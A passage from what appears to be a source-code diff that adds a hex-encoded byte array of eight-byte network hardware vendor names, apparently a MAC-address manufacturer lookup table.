0x6f, 0x6d, 0x43, 0x6f, 0x6d, +0x46, 0x69, 0x62, 0x65, 0x72, 0x6e, 0x65, 0x74, +0x4d, 0x69, 0x6c, 0x61, 0x6e, 0x54, 0x65, 0x63, +0x4e, 0x63, 0x75, 0x62, 0x65, 0x00, 0x00, 0x00, +0x4c, 0x61, 0x6e, 0x77, 0x61, 0x6e, 0x54, 0x65, +0x53, 0x69, 0x6c, 0x63, 0x6f, 0x6d, 0x4d, 0x61, +0x54, 0x65, 0x72, 0x61, 0x4d, 0x69, 0x63, 0x72, +0x4e, 0x65, 0x74, 0x2d, 0x53, 0x6f, 0x75, 0x72, +0x46, 0x75, 0x6b, 0x75, 0x64, 0x61, 0x44, 0x65, +0x50, 0x61, 0x67, 0x69, 0x6e, 0x65, 0x00, 0x00, +0x4b, 0x69, 0x6d, 0x70, 0x73, 0x69, 0x6f, 0x6e, +0x47, 0x61, 0x67, 0x65, 0x54, 0x61, 0x6c, 0x6b, +0x53, 0x61, 0x72, 0x74, 0x6f, 0x72, 0x69, 0x75, +0x4c, 0x6f, 0x63, 0x61, 0x6d, 0x61, 0x74, 0x69, +0x53, 0x74, 0x75, 0x64, 0x69, 0x6f, 0x47, 0x65, +0x4f, 0x63, 0x65, 0x61, 0x6e, 0x4f, 0x66, 0x66, +0x54, 0x65, 0x6c, 0x73, 0x70, 0x65, 0x63, 0x00, +0x54, 0x72, 0x69, 0x74, 0x65, 0x63, 0x45, 0x6c, +0x48, 0x6f, 0x6e, 0x67, 0x54, 0x65, 0x63, 0x68, +0x45, 0x6c, 0x73, 0x61, 0x67, 0x44, 0x61, 0x74, +0x44, 0x69, 0x67, 0x61, 0x6c, 0x6f, 0x67, 0x00, +0x41, 0x74, 0x6f, 0x6d, 0x77, 0x69, 0x64, 0x65, +0x4d, 0x61, 0x72, 0x6e, 0x65, 0x72, 0x49, 0x6e, +0x4d, 0x65, 0x73, 0x61, 0x52, 0x69, 0x64, 0x67, +0x51, 0x75, 0x69, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x45, 0x2d, 0x4d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x53, 0x79, 0x62, 0x75, 0x73, 0x00, 0x00, 0x00, +0x43, 0x41, 0x45, 0x4e, 0x00, 0x00, 0x00, 0x00, +0x41, 0x72, 0x6e, 0x6f, 0x73, 0x49, 0x6e, 0x73, +0x43, 0x68, 0x61, 0x72, 0x6c, 0x65, 0x73, 0x52, +0x41, 0x63, 0x63, 0x6f, 0x72, 0x64, 0x00, 0x00, +0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x72, 0x65, +0x4d, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x4d, 0x61, +0x4d, 0x69, 0x6b, 0x61, 0x73, 0x61, 0x53, 0x79, +0x4f, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x6d, 0x00, +0x48, 0x79, 0x70, 0x65, 0x72, 0x63, 0x6f, 0x6d, +0x43, 0x68, 0x75, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x4a, 0x61, 0x6e, 0x69, 0x63, 0x68, 0x4b, 0x6c, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x72, 0x00, 0x00, +0x4f, 0x65, 0x6d, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x4b, 0x61, 0x74, 0x72, 0x6f, 0x6e, 0x43, 0x6f, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x68, 0x61, +0x43, 0x6f, 0x6d, 0x62, 0x69, 0x6e, 0x65, 0x74, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x62, 0x6f, 0x61, +0x43, 0x61, 0x73, 0x63, 0x61, 0x64, 0x65, 0x43, +0x49, 0x62, 0x72, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x4c, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x79, 0x6d, 0x70, 0x6c, 0x65, 0x78, 0x43, +0x54, 0x65, 0x6c, 0x65, 0x62, 0x69, 0x74, 0x43, +0x57, 0x75, 0x78, 0x69, 0x5a, 0x68, 0x6f, 0x6e, +0x52, 0x6c, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4b, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x53, 0x52, +0x56, 0x65, 0x72, 0x73, 0x75, 0x73, 0x54, 0x65, +0x41, 0x6e, 0x64, 0x6f, 0x6e, 0x48, 0x65, 0x61, +0x52, 0x65, 0x61, 0x6c, 0x74, 0x65, 0x6b, 0x00, +0x50, 0x69, 0x6e, 0x65, 0x54, 0x65, 0x63, 0x68, +0x4e, 0x65, 0x78, 0x6f, 0x43, 0x6f, 0x6d, 0x6d, +0x59, 0x61, 0x6d, 0x61, 0x73, 0x68, 0x69, 0x74, +0x4f, 0x6d, 0x6e, 0x69, 0x73, 0x65, 0x63, 0x00, +0x58, 0x72, 0x69, 0x74, 0x65, 0x00, 0x00, 0x00, +0x54, 0x69, 0x76, 0x61, 0x4d, 0x69, 0x63, 0x72, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x42, +0x49, 0x72, 0x69, 0x73, 0x54, 0x65, 0x63, 0x68, +0x45, 0x2d, 0x54, 0x65, 0x6b, 0x4c, 0x61, 0x62, +0x53, 0x61, 0x74, 0x6f, 0x72, 0x69, 0x45, 0x6c, +0x4e, 0x6f, 0x76, 0x61, 0x6e, 0x65, 0x74, 0x4c, +0x43, 0x62, 0x6c, 0x2d, 0x00, 0x00, 0x00, 0x00, +0x53, 0x65, 0x61, 0x67, 0x61, 0x74, 0x65, 0x43, +0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x53, 0x74, +0x4d, 0x6f, 0x6c, 0x65, 0x78, 0x43, 0x61, 0x6e, +0x52, 0x73, 0x72, 0x53, 0x52, 0x4c, 0x00, 0x00, +0x41, 0x6d, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00, +0x53, 0x70, 0x72, 0x69, 0x6e, 0x67, 0x54, 0x69, +0x49, 0x71, 0x69, 0x6e, 0x76, 0x69, 0x73, 0x69, +0x41, 0x62, 0x6c, 0x43, 0x61, 0x6e, 0x61, 0x64, +0x4a, 0x61, 0x74, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x47, 0x72, 0x61, 0x73, 0x73, 0x56, 0x61, 0x6c, +0x4d, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x73, 0x74, 0x61, +0x45, 0x69, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x5a, 0x6f, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, +0x50, 0x67, 0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, +0x4e, 0x61, 0x76, 0x69, 0x63, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x47, 0x65, 0x6e, 0x69, 0x63, 0x6f, 0x6d, 0x00, +0x41, 0x76, 0x61, 0x6c, 0x43, 0x6f, 0x6d, 0x6d, +0x31, 0x33, 0x39, 0x34, 0x50, 0x72, 0x69, 0x6e, +0x47, 0x65, 0x6e, 0x72, 0x61, 0x64, 0x00, 0x00, +0x53, 0x6f, 0x79, 0x6f, 0x43, 0x6f, 0x6d, 0x70, +0x41, 0x63, 0x63, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x43, 0x61, 0x6d, 0x62, 0x65, 0x78, 0x00, 0x00, +0x54, 0x6f, 0x6c, 0x6c, 0x62, 0x72, 0x69, 0x64, +0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x50, 0x6c, +0x41, 0x65, 0x72, 0x6f, 0x66, 0x6c, 0x65, 0x78, +0x50, 0x69, 0x63, 0x61, 0x7a, 0x6f, 0x43, 0x6f, +0x4d, 0x61, 0x79, 0x61, 0x6e, 0x4e, 0x65, 0x74, +0x4e, 0x65, 0x74, 0x63, 0x61, 0x6d, 0x00, 0x00, +0x4b, 0x6f, 0x67, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x44, 0x61, 0x69, 0x6e, 0x54, 0x65, 0x6c, 0x65, +0x4d, 0x61, 0x72, 0x69, 0x6e, 0x65, 0x72, 0x4e, +0x44, 0x61, 0x74, 0x6f, 0x6e, 0x67, 0x45, 0x6c, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x66, 0x69, 0x72, +0x41, 0x6e, 0x63, 0x68, 0x6f, 0x72, 0x47, 0x61, +0x43, 0x6f, 0x72, 0x65, 0x74, 0x72, 0x6f, 0x6e, +0x53, 0x63, 0x69, 0x4d, 0x61, 0x6e, 0x75, 0x66, +0x4d, 0x61, 0x72, 0x76, 0x65, 0x6c, 0x6c, 0x53, +0x41, 0x73, 0x61, 0x63, 0x61, 0x00, 0x00, 0x00, +0x52, 0x69, 0x6f, 0x77, 0x6f, 0x72, 0x6b, 0x73, +0x4d, 0x65, 0x6e, 0x69, 0x63, 0x78, 0x49, 0x6e, +0x49, 0x6e, 0x66, 0x6f, 0x6c, 0x69, 0x62, 0x72, +0x41, 0x72, 0x62, 0x6f, 0x72, 0x4e, 0x65, 0x74, +0x45, 0x6c, 0x74, 0x65, 0x63, 0x6f, 0x41, 0x53, +0x42, 0x61, 0x72, 0x63, 0x6f, 0x6e, 0x65, 0x74, +0x47, 0x61, 0x6c, 0x69, 0x6c, 0x4d, 0x6f, 0x74, +0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x45, 0x6c, 0x65, +0x53, 0x69, 0x65, 0x72, 0x72, 0x61, 0x4d, 0x6f, +0x4f, 0x6c, 0x65, 0x6e, 0x63, 0x6f, 0x6d, 0x45, +0x49, 0x77, 0x61, 0x74, 0x73, 0x75, 0x45, 0x6c, +0x54, 0x69, 0x61, 0x72, 0x61, 0x4e, 0x65, 0x74, +0x44, 0x6f, 0x6d, 0x73, 0x00, 0x00, 0x00, 0x00, +0x53, 0x61, 0x6e, 0x67, 0x6f, 0x6d, 0x61, 0x54, +0x49, 0x62, 0x61, 0x68, 0x6e, 0x00, 0x00, 0x00, +0x54, 0x75, 0x6e, 0x64, 0x6f, 0x00, 0x00, 0x00, +0x44, 0x69, 0x67, 0x69, 0x74, 0x65, 0x6b, 0x4d, +0x42, 0x72, 0x61, 0x6e, 0x64, 0x49, 0x6e, 0x6e, +0x4b, 0x6f, 0x75, 0x77, 0x65, 0x6c, 0x6c, 0x45, +0x4f, 0x79, 0x43, 0x6f, 0x6d, 0x73, 0x65, 0x6c, +0x43, 0x61, 0x65, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x41, 0x74, 0x65, 0x63, 0x6f, 0x6d, 0x41, 0x64, +0x41, 0x65, 0x72, 0x6f, 0x63, 0x6f, 0x6d, 0x6d, +0x50, 0x69, 0x78, 0x73, 0x74, 0x72, 0x65, 0x61, +0x45, 0x64, 0x65, 0x76, 0x61, 0x00, 0x00, 0x00, +0x53, 0x70, 0x78, 0x2d, 0x41, 0x74, 0x65, 0x67, +0x42, 0x65, 0x69, 0x6a, 0x65, 0x72, 0x45, 0x6c, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x6a, 0x65, 0x74, +0x43, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x45, 0x6e, +0x47, 0x2d, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, +0x43, 0x68, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x63, +0x41, 0x69, 0x77, 0x61, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x72, 0x76, 0x69, 0x73, 0x00, 0x00, +0x4b, 0x65, 0x73, 0x74, 0x72, 0x65, 0x6c, 0x53, +0x50, 0x72, 0x6f, 0x6c, 0x69, 0x66, 0x69, 0x63, +0x4d, 0x65, 0x67, 0x61, 0x74, 0x6f, 0x6e, 0x48, +0x4d, 0x65, 0x72, 0x6c, 0x6f, 0x74, 0x43, 0x6f, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x63, 0x6f, 0x6e, +0x49, 0x66, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x77, 0x65, 0x72, 0x54, 0x65, 0x63, +0x46, 0x6f, 0x72, 0x65, 0x73, 0x73, 0x6f, 0x6e, +0x47, 0x69, 0x6c, 0x62, 0x61, 0x72, 0x63, 0x6f, +0x41, 0x74, 0x6c, 0x50, 0x72, 0x6f, 0x64, 0x75, +0x54, 0x65, 0x6c, 0x6b, 0x6f, 0x6d, 0x53, 0x61, +0x54, 0x65, 0x72, 0x61, 0x73, 0x61, 0x6b, 0x69, +0x41, 0x6d, 0x61, 0x6e, 0x6f, 0x00, 0x00, 0x00, +0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x4d, 0x61, +0x52, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x62, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, +0x4f, 0x70, 0x74, 0x69, 0x6d, 0x61, 0x74, 0x69, +0x41, 0x73, 0x69, 0x74, 0x61, 0x54, 0x65, 0x63, +0x44, 0x63, 0x74, 0x72, 0x69, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x61, 0x63, 0x63, 0x65, 0x73, +0x52, 0x69, 0x67, 0x61, 0x6b, 0x75, 0x4f, 0x73, +0x50, 0x65, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x4e, +0x53, 0x61, 0x6c, 0x69, 0x78, 0x54, 0x65, 0x63, +0x4d, 0x6d, 0x63, 0x2d, 0x45, 0x6d, 0x62, 0x65, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x6f, 0x6f, +0x54, 0x61, 0x67, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x53, 0x77, 0x69, 0x74, 0x63, 0x68, 0x63, 0x6f, +0x42, 0x65, 0x74, 0x61, 0x52, 0x65, 0x73, 0x65, +0x49, 0x6e, 0x64, 0x75, 0x73, 0x74, 0x72, 0x65, +0x4c, 0x65, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x48, 0x6f, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x43, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x43, 0x6f, 0x6d, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x6d, 0x65, 0x64, +0x49, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x43, 0x61, 0x70, 0x69, 0x74, 0x6f, 0x6c, 0x42, +0x4f, 0x70, 0x65, 0x6e, 0x63, 0x6f, 0x6e, 0x00, +0x4d, 0x6f, 0x6c, 0x64, 0x61, 0x74, 0x57, 0x69, +0x4e, 0x61, 0x6c, 0x74, 0x65, 0x63, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, 0x69, 0x71, +0x46, 0x64, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x67, 0x6f, 0x6e, +0x47, 0x69, 0x64, 0x64, 0x69, 0x6e, 0x67, 0x73, +0x42, 0x72, 0x6f, 0x64, 0x65, 0x6c, 0x00, 0x00, +0x56, 0x6f, 0x69, 0x63, 0x65, 0x62, 0x6f, 0x61, +0x53, 0x61, 0x74, 0x63, 0x68, 0x77, 0x65, 0x6c, +0x46, 0x69, 0x63, 0x68, 0x65, 0x74, 0x53, 0x65, +0x47, 0x6f, 0x6f, 0x64, 0x57, 0x61, 0x79, 0x49, +0x42, 0x6f, 0x73, 0x65, 0x72, 0x54, 0x65, 0x63, +0x49, 0x6e, 0x6f, 0x76, 0x61, 0x43, 0x6f, 0x6d, +0x58, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x54, 0x65, +0x43, 0x6d, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x48, 0x61, 0x6d, 0x6d, 0x65, 0x72, 0x53, 0x74, +0x46, 0x61, 0x73, 0x74, 0x4d, 0x75, 0x6c, 0x74, +0x47, 0x61, 0x74, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x47, 0x65, 0x6d, 0x66, 0x6c, 0x65, 0x78, 0x4e, +0x49, 0x6d, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x64, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4c, 0x6f, 0x6f, 0x70, 0x54, 0x65, 0x6c, 0x65, +0x41, 0x64, 0x64, 0x6f, 0x6e, 0x69, 0x63, 0x73, +0x4d, 0x61, 0x73, 0x70, 0x72, 0x6f, 0x44, 0x65, +0x4e, 0x65, 0x74, 0x54, 0x6f, 0x4e, 0x65, 0x74, +0x4a, 0x65, 0x74, 0x74, 0x65, 0x72, 0x00, 0x00, +0x44, 0x69, 0x67, 0x69, 0x61, 0x6e, 0x73, 0x77, +0x4c, 0x67, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x6e, +0x56, 0x61, 0x6e, 0x6c, 0x69, 0x6e, 0x6b, 0x43, +0x4d, 0x69, 0x6e, 0x65, 0x72, 0x76, 0x61, 0x00, +0x43, 0x6d, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4a, 0x6f, 0x6f, 0x68, 0x6f, 0x6e, 0x67, 0x49, +0x41, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x74, 0x6c, 0x61, 0x73, 0x43, 0x6f, 0x70, +0x54, 0x65, 0x6c, 0x73, 0x74, 0x72, 0x61, 0x74, +0x55, 0x6e, 0x69, 0x63, 0x6f, 0x72, 0x6e, 0x43, +0x45, 0x6e, 0x67, 0x65, 0x74, 0x72, 0x6f, 0x6e, +0x54, 0x61, 0x73, 0x54, 0x65, 0x6c, 0x65, 0x66, +0x53, 0x65, 0x72, 0x72, 0x61, 0x53, 0x6f, 0x6c, +0x53, 0x69, 0x67, 0x6e, 0x75, 0x6d, 0x00, 0x00, +0x41, 0x69, 0x72, 0x66, 0x69, 0x62, 0x65, 0x72, +0x4e, 0x73, 0x54, 0x65, 0x63, 0x68, 0x45, 0x6c, +0x48, 0x61, 0x6b, 0x75, 0x73, 0x61, 0x6e, 0x00, +0x4e, 0x6f, 0x6d, 0x61, 0x64, 0x69, 0x78, 0x00, +0x58, 0x65, 0x6c, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x2d, 0x54, 0x6f, +0x4f, 0x6c, 0x69, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x41, 0x6e, 0x64, 0x61, 0x4e, 0x65, 0x74, 0x77, +0x54, 0x65, 0x6b, 0x44, 0x69, 0x67, 0x69, 0x74, +0x53, 0x70, 0x65, 0x53, 0x79, 0x73, 0x74, 0x65, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x4e, 0x65, +0x53, 0x69, 0x67, 0x6d, 0x61, 0x74, 0x65, 0x6b, +0x50, 0x61, 0x6e, 0x2d, 0x49, 0x6e, 0x74, 0x65, +0x56, 0x65, 0x6e, 0x74, 0x75, 0x72, 0x65, 0x4d, +0x45, 0x6e, 0x74, 0x72, 0x65, 0x67, 0x61, 0x54, +0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x6d, 0x61, +0x4f, 0x78, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x56, 0x73, 0x6b, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x63, 0x6f, +0x50, 0x63, 0x74, 0x76, 0x6e, 0x65, 0x74, 0x41, +0x48, 0x61, 0x6b, 0x6b, 0x6f, 0x45, 0x6c, 0x65, +0x57, 0x75, 0x78, 0x69, 0x4b, 0x65, 0x62, 0x6f, +0x53, 0x77, 0x65, 0x6c, 0x61, 0x73, 0x65, 0x72, +0x50, 0x63, 0x41, 0x71, 0x75, 0x61, 0x72, 0x69, +0x4c, 0x65, 0x6e, 0x6f, 0x76, 0x6f, 0x65, 0x6d, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x65, +0x4b, 0x70, 0x6e, 0x42, 0x56, 0x00, 0x00, 0x00, +0x47, 0x6f, 0x73, 0x70, 0x65, 0x6c, 0x6c, 0x44, +0x58, 0x79, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x73, 0x79, 0x73, 0x00, +0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x53, 0x75, +0x54, 0x65, 0x72, 0x61, 0x6f, 0x6b, 0x61, 0x57, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x61, 0x64, +0x46, 0x65, 0x65, 0x64, 0x62, 0x61, 0x63, 0x6b, +0x53, 0x6f, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x41, 0x63, 0x72, 0x65, 0x73, 0x47, 0x61, 0x6d, +0x33, 0x63, 0x6f, 0x6d, 0x33, 0x63, 0x6f, 0x6d, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x43, 0x61, 0x74, +0x53, 0x6f, 0x72, 0x64, 0x43, 0x6f, 0x6d, 0x70, +0x4c, 0x6f, 0x67, 0x77, 0x61, 0x72, 0x65, 0x00, +0x45, 0x75, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x57, 0x61, 0x76, 0x65, 0x6e, 0x65, 0x74, 0x49, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x4d, +0x43, 0x72, 0x79, 0x73, 0x74, 0x61, 0x6c, 0x53, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x43, 0x6f, 0x6d, +0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x6c, 0x4d, +0x45, 0x64, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x32, 0x6e, 0x65, 0x74, 0x00, +0x43, 0x6c, 0x61, 0x72, 0x69, 0x69, 0x6f, 0x6e, +0x54, 0x6f, 0x6b, 0x69, 0x6d, 0x65, 0x63, 0x00, +0x53, 0x74, 0x65, 0x6c, 0x6c, 0x61, 0x72, 0x4f, +0x4b, 0x65, 0x69, 0x74, 0x68, 0x6c, 0x65, 0x79, +0x4d, 0x65, 0x73, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x54, 0x65, 0x6c, 0x78, 0x6f, 0x6e, 0x00, 0x00, +0x53, 0x6f, 0x66, 0x74, 0x6c, 0x61, 0x62, 0x00, +0x53, 0x74, 0x61, 0x6c, 0x6c, 0x69, 0x6f, 0x6e, +0x50, 0x69, 0x76, 0x6f, 0x74, 0x61, 0x6c, 0x4e, +0x44, 0x73, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x69, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x50, 0x65, 0x72, 0x69, 0x63, 0x6f, 0x6d, 0x53, +0x47, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x74, +0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x49, 0x6d, +0x56, 0x69, 0x6b, 0x69, 0x6e, 0x67, 0x4d, 0x6f, +0x53, 0x75, 0x70, 0x65, 0x72, 0x69, 0x6f, 0x72, +0x4d, 0x61, 0x63, 0x72, 0x6f, 0x76, 0x69, 0x73, +0x43, 0x61, 0x72, 0x79, 0x50, 0x65, 0x72, 0x69, +0x53, 0x79, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x6e, +0x50, 0x65, 0x61, 0x6b, 0x41, 0x75, 0x64, 0x69, +0x4c, 0x69, 0x6e, 0x78, 0x44, 0x61, 0x74, 0x61, +0x41, 0x6c, 0x65, 0x72, 0x74, 0x6f, 0x6e, 0x54, +0x43, 0x79, 0x63, 0x6c, 0x61, 0x64, 0x65, 0x73, +0x56, 0x69, 0x6c, 0x6c, 0x61, 0x67, 0x65, 0x74, +0x48, 0x72, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x2d, 0x43, 0x75, 0x62, 0x65, 0x00, 0x00, +0x41, 0x63, 0x75, 0x69, 0x74, 0x79, 0x49, 0x6d, +0x44, 0x61, 0x6c, 0x6c, 0x61, 0x73, 0x53, 0x65, +0x41, 0x69, 0x74, 0x41, 0x75, 0x73, 0x74, 0x72, +0x4e, 0x78, 0x70, 0x53, 0x65, 0x6d, 0x69, 0x63, +0x53, 0x61, 0x6e, 0x63, 0x6f, 0x6d, 0x54, 0x65, +0x51, 0x75, 0x69, 0x63, 0x6b, 0x43, 0x6f, 0x6e, +0x41, 0x6d, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x48, 0x61, 0x67, 0x69, 0x77, 0x61, 0x72, 0x61, +0x33, 0x63, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x31, 0x30, 0x30, +0x50, 0x61, 0x74, 0x61, 0x70, 0x73, 0x63, 0x6f, +0x4e, 0x65, 0x74, 0x72, 0x6f, 0x00, 0x00, 0x00, +0x54, 0x6b, 0x73, 0x55, 0x73, 0x61, 0x00, 0x00, +0x49, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x00, +0x4c, 0x69, 0x74, 0x74, 0x6f, 0x6e, 0x2f, 0x50, +0x50, 0x61, 0x74, 0x68, 0x6c, 0x69, 0x67, 0x68, +0x56, 0x6d, 0x65, 0x74, 0x72, 0x6f, 0x00, 0x00, +0x56, 0x69, 0x6e, 0x61, 0x54, 0x65, 0x63, 0x68, +0x53, 0x61, 0x69, 0x63, 0x49, 0x64, 0x65, 0x61, +0x53, 0x61, 0x66, 0x65, 0x2d, 0x43, 0x6f, 0x6d, +0x4d, 0x6d, 0x63, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x43, 0x79, 0x63, 0x6c, 0x65, 0x43, 0x6f, 0x6d, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x69, 0x78, +0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x53, +0x50, 0x65, 0x72, 0x69, 0x70, 0x68, 0x65, 0x72, +0x54, 0x6f, 0x79, 0x6f, 0x64, 0x61, 0x4d, 0x61, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x77, +0x43, 0x6f, 0x72, 0x6e, 0x65, 0x6c, 0x6c, 0x55, +0x43, 0x6f, 0x70, 0x70, 0x65, 0x72, 0x4d, 0x6f, +0x43, 0x65, 0x6c, 0x63, 0x6f, 0x72, 0x65, 0x00, +0x53, 0x63, 0x61, 0x6e, 0x69, 0x76, 0x61, 0x6c, +0x4c, 0x69, 0x62, 0x65, 0x72, 0x74, 0x79, 0x54, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x55, 0x6e, +0x44, 0x61, 0x74, 0x61, 0x49, 0x6e, 0x6e, 0x6f, +0x57, 0x68, 0x69, 0x73, 0x74, 0x6c, 0x65, 0x43, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x79, 0x6e, 0x63, +0x50, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x63, +0x42, 0x65, 0x72, 0x6e, 0x65, 0x63, 0x6b, 0x65, +0x41, 0x63, 0x65, 0x72, 0x4c, 0x61, 0x6e, 0x00, +0x44, 0x69, 0x61, 0x6c, 0x6f, 0x67, 0x69, 0x63, +0x53, 0x79, 0x6e, 0x63, 0x6c, 0x61, 0x79, 0x65, +0x44, 0x61, 0x76, 0x69, 0x63, 0x6f, 0x6d, 0x53, +0x43, 0x6c, 0x61, 0x72, 0x69, 0x6f, 0x6e, 0x4f, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x52, 0x6f, 0x75, +0x4d, 0x69, 0x64, 0x61, 0x73, 0x4c, 0x61, 0x62, +0x56, 0x78, 0x6c, 0x49, 0x6e, 0x73, 0x74, 0x72, +0x52, 0x65, 0x64, 0x63, 0x72, 0x65, 0x65, 0x6b, +0x51, 0x73, 0x63, 0x4c, 0x6c, 0x63, 0x00, 0x00, +0x50, 0x65, 0x6e, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x50, 0x72, 0x69, 0x73, 0x61, 0x4e, 0x65, 0x74, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x4d, 0x65, 0x61, +0x4d, 0x61, 0x69, 0x6e, 0x73, 0x74, 0x72, 0x65, +0x44, 0x76, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x61, 0x76, 0x65, 0x61, 0x63, 0x63, 0x65, +0x53, 0x65, 0x6e, 0x74, 0x69, 0x65, 0x6e, 0x74, +0x47, 0x69, 0x67, 0x61, 0x6c, 0x61, 0x62, 0x73, +0x41, 0x75, 0x72, 0x6f, 0x72, 0x61, 0x54, 0x65, +0x54, 0x76, 0x2f, 0x43, 0x6f, 0x6d, 0x49, 0x6e, +0x4e, 0x6f, 0x76, 0x61, 0x6c, 0x69, 0x6e, 0x6b, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x33, 0x36, 0x32, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x52, 0x65, 0x70, +0x4b, 0x61, 0x6e, 0x73, 0x61, 0x69, 0x45, 0x6c, +0x58, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, +0x43, 0x69, 0x74, 0x61, 0x64, 0x65, 0x6c, 0x43, +0x43, 0x6f, 0x6e, 0x66, 0x65, 0x72, 0x74, 0x65, +0x33, 0x63, 0x6f, 0x6d, 0x31, 0x39, 0x39, 0x30, +0x55, 0x6e, 0x69, 0x70, 0x75, 0x6c, 0x73, 0x65, +0x48, 0x65, 0x45, 